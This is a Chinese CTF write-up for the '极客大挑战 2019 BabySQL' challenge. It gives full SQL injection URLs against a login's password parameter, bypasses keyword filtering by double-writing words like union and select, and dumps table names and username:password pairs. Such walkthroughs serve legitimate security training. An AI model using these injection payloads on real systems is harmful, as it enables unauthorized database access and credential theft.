[极客大挑战 2019]BabySQL--详细解析
信息搜集
进入界面:
输入用户名为admin,密码随便输一个:
发现是GET传参,有username和password两个传参点。
我们测试一下password点位能不能注入:
单引号闭合报错,根据报错信息,我们可以判断是单引号闭合。
SQL注入
先order by测试一下字段数:
check.php?username=admin&password=1' order by 3--+
报错。看报错信息,吞掉了order的or 和by,即过滤了or和by。
使用双写绕过:
check.php?username=admin&password=1' oorrder bbyy 3--+
测试出字段数为3.
顺便用万能密码试试能不能登录:
接下来按联合注入的流程走:
union 和 select 被过滤。双写绕过:
check.php?username=admin&password=1' uniunionon selselectect 1,2,3--+
找到相应回显位,这里我们利用回显位3:
check.php?username=admin&password=1' uniunionon selselectect 1,2,database()--+ 数据库名为geek
check.php?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek')--+ 数据表b4bsql,geekuser
check.php?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')--+ 列名id,username,password
(selselectect group_concat(username,":",passwoorrd) frfromom b4bsql)--+
得到flag.
总结
考察的是联合注入,但是增加了过滤。
使用双写绕过。